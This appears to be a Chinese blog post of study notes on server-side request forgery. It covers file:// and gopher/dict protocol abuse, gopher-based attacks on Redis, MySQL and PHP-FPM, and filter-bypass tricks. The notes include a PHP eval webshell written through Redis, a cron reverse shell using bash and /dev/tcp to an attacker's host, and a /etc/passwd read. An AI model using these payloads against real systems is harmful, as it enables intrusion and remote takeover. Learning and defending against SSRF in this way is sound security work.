初探ssrf
前言
很早就接触了SSRF,但当时只是停留在做题,没有对SSRF进行深入思考,这次记录一下SSRF
SSRF漏洞简介
SSRF漏洞简单来说就是利用服务器去发起请求然后返回内容,利用这个我们可以进行内网资源获取。
从先知上找到的一张图(如下

可能存在的场景
- 分享功能
- 在线翻译
- 图片加载和下载
- 转码服务
- 文章收藏加载
- api加载远程资源
- ……..
请求服务器资源的地方都有可能会存在SSRF
利用方式
结合file://协议读取本地文件
这个用的比较熟练也比较,最常见的利用形式就是?url=file://etc/passwd 直接读取本地密码文件
结合gopher协议
关于gopher
gopher常见利用
常见的就是利用gopher去攻击 redis、mysql、php的fastcgi等
一开始接触协议的时候,我很懵,不知道究竟是什么东西,直到看了有关计算机网络的书,才算是有一点点理解。协议是通信规则,并且有自己的格式,通信双方得按照它的规则和格式来。
再此之前,我们需要了解一下 gopher协议
gopher协议是一种信息查找系统,他将Internet上的文件组织成某种索引,方便用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它。它只支持文本,不支持图像
gopher协议的格式:gopher://ip:port/_TCP/IP数据流 示例如下:
我在自己的VPS上监听端口,然后利用docker容器 去发送数据:

可以看到成功通信。
利用gopher协议发送 get http请求
需要的格式:
- url编码
- 换行用
%0d%0a代替 - 结束需要加上
%0d%0a
测试demo:
curl gopher://ip:80/_GET%20/demo.php%3fceshi=hello%20HTTP/1.1%0d%0aHost:192.168.109.166%0d%0a
其中demo.php内容为:
1 |
|
可以拿到回显。
利用gopher协议发送 POST http请求
和get 传参大致差不多,不过有些区别,POST必须得包含 Content-Type、Content-Length、Host、post的参数数据
gopher打Redis
gopher打redis是比较常见的考点,理解这个需要清楚
- redis是什么东西
- C-S模式流量包的概念
对redis最直观的印象,就是它和mysql一样都是数据库,但是它是轻量级的,key-value 类型的数据库。
对于它我没有做很深层次的了解,只是这里为了学习SSRF,顺带了解了一下。
方式一:直接写木马
这里我们是可以利用 redis 客户端,来对根目录写马的,要求是客户端用户的权限能够往web目录里面写东西。
通过设置变量,值为一句话木马,从而写入dump.rdb 文件中,将该文件存在的路径改为web根目录,同时将文件改名为shell.php即可。
需要用到的命令为:
1 | set m "\n\n<?php eval($_POST[1]);?>\n" |
我们可以看到web根目录成功写入:

然后就是C-S流量包,我们客户端输入命令实质就是发送一个请求流量包,然后服务端对我们的请求流量包进行相应。我们在redis-cli执行的一些命令通过wireshark抓包是可以抓取到流量的。
所以利用gopher打redis的核心就是,伪造流量包,利用gopher协议去发送这个流量包,流量包格式得符合gopher 的格式。
然后非授权打redis,就是不需要密码直接可以访问redis客户端,没有对身份进行验证。
方式二:反弹shell
这个方式在debian、ubuntu环境下不可行,但是在Centos下可行。
本质上和写Webshell差不多,这里就是把反弹shell命令写入了定时任务中。具体的Redis命令:
1 | set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/ip/port 0>&1\n\n' //ip和port为接受的vps |
接下来就是伪造流量包,github上有一个工具:https://github.com/tarunkant/Gopherus.git 直接 git clone 下载,帮我们将流量包已写好并编码,十分方便。
gopher打Mysql
这里的思想和gopher攻击redis是一致的,也是想办法去伪造流量包。(按照mysql通信协议和格式)这里我们也可以直接用gopherus工具生成。当然这里也是对mysql客户端的权限有要求,如果是对web目录去写一句话,需要有写权限。(未授权就是不需要密码直接登录)
gopher打fastcgi
利用条件:
- libcurl版本>=7.45.0
- PHP-FPM监听端口
- PHP-FPM版本 >= 5.3.3
- 知道服务器上任意一个已存在php文件的绝对路径
主要是利用php-fpm,这里是也是伪造流量包,按照 fastcgi通信协议的格式,最后在转换成gopher格式,编码。可以造成任意命令执行。
也可以利用gopherus这个工具进行伪造。
以上三者都是按照通信协议和格式(比如Redis是按照RESP协议通信)来伪造流量包,然后按照gopher协议的格式转换一下,最后打过去。
dict协议
字典协议,我们可以利用它来进行端口探测。
协议格式:
1 | dict://serverip:port/命令:参数 |
与gopher有一个区别是,它是一条一条命令执行,而gopher可以多条命令执行。
绕过手法
一般可能会存在着过滤,对目标url进行一定限制。我们可以想办法突破限制
进制转换,限制了ip,我们可以用8进制,2进制,16进制,10进制进行转换 网址
https://tool.520101.com/wangluo/jinzhizhuanhuan/突破
127.0.0.11
2
3
4
5
6
7
8127.0.1
127.1
127.127.127.127
0
0.0.0.0
127.0.0.1.xip.io/
http://[::]未复现成功。。302跳转 – 我们在自己的vps上构造一个php文件 (相当于一个中间人,跳转绕过
1
<?php header("Location:http://127.0.0.1/flag.php"); ?>
DNS-Rebinding (
使用句号代替点(比如127。0。0。1)
利用DNS解析(在域名上是设置A记录,指向127.0.0.1)
php对url解析问题
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$url="http://xxx@127.0.0.1/flag.php?.myangs";
var_dump(parse_url($url));
//返回结果
array(5)
{
["scheme"]=>
string(4) "http"
["host"]=>
string(9) "127.0.0.1"
["user"]=>
string(3) "xxx"
["path"]=>
string(9) "/flag.php"
["query"]=>
string(7) ".myangs"
}……
小结
一开始觉得用一篇文章去描述整个SSRF,现在发现还是得分开细说,糅杂在一篇文章上可能没耐心看233333(
参考文章
https://bbs.ichunqiu.com/thread-58455-1-1.html
https://xz.aliyun.com/t/6993#toc-0
https://r1dd1er.top/2019/11/02/SSRF%E4%B8%8ERedis%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE/
https://www.cnblogs.com/Konmu/p/12984891.html
https://blog.csdn.net/qq_41107295/article/details/103026470